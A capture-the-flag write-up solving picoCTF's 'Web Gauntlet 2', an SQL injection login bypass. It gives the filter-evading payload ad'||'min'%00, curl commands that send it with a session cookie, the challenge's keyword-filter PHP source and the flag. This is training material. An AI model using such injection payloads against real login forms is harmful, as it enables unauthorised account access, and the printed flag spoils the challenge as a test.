# Web Gauntlet 2

## Problem

> This website looks familiar... Log in as admin Site: <http://mercury.picoctf.net:35178/> Filter: <http://mercury.picoctf.net:35178/filter.php>

## Solution

1. According to [filter.php](http://mercury.picoctf.net:35178/filter.php) the application filters the following: `or and true false union like = > < ; -- /* */ admin`.
2. The query that solves this is `ad'||'min'%00`, which is similar to the final payload in the "Web Gauntlet" challenge from the PicoCTF 2020 Mini competition. In sqlite the `||` operator concatenates strings, thus allowing us to bypass the filter for `admin`. Next, the `%00` is a null byte, which terminates the SQL query.
3. A null byte cannot be typed directly into the website. So we use cURL instead: `curl --data "user=ad'||'min'%00&pass=a" http://mercury.picoctf.net:35178/index.php --cookie "PHPSESSID=5ntoldq0gkiutgqkmkgfqbe5vb" --output -`. I copied the `PHPSESSID` cookie from the browser, which is important because it is how the website knows to give us the flag when we go to `/filter.php` to get the flag.
4. We can retreive the flag with the browser that has the same `PHPSESSID` or wth curl: `curl http://mercury.picoctf.net:35178/filter.php --cookie "PHPSESSID=5ntoldq0gkiutgqkmkgfqbe5vb" | grep picoCTF`
5. The code for the filter and the flag are shown in `/filter.php` when the login is bypassed:

   ```php
    <?php
   session_start();

   if (!isset($_SESSION["winner2"])) {
       $_SESSION["winner2"] = 0;
   }
   $win = $_SESSION["winner2"];
   $view = ($_SERVER["PHP_SELF"] == "/filter.php");

   if ($win === 0) {
       $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
       if ($view) {
           echo "Filters: ".implode(" ", $filter)."<br/>";
       }
   } else if ($win === 1) {
       if ($view) {
           highlight_file("filter.php");
       }
       $_SESSION["winner2"] = 0;        // <- Don't refresh!
   } else {
       $_SESSION["winner2"] = 0;
   }

   // picoCTF{0n3_m0r3_t1m3_86f3e77f3c5a076866a0fdb3b29c52fd}
   ?>
   ```

### Flag

`picoCTF{0n3_m0r3_t1m3_86f3e77f3c5a076866a0fdb3b29c52fd}`


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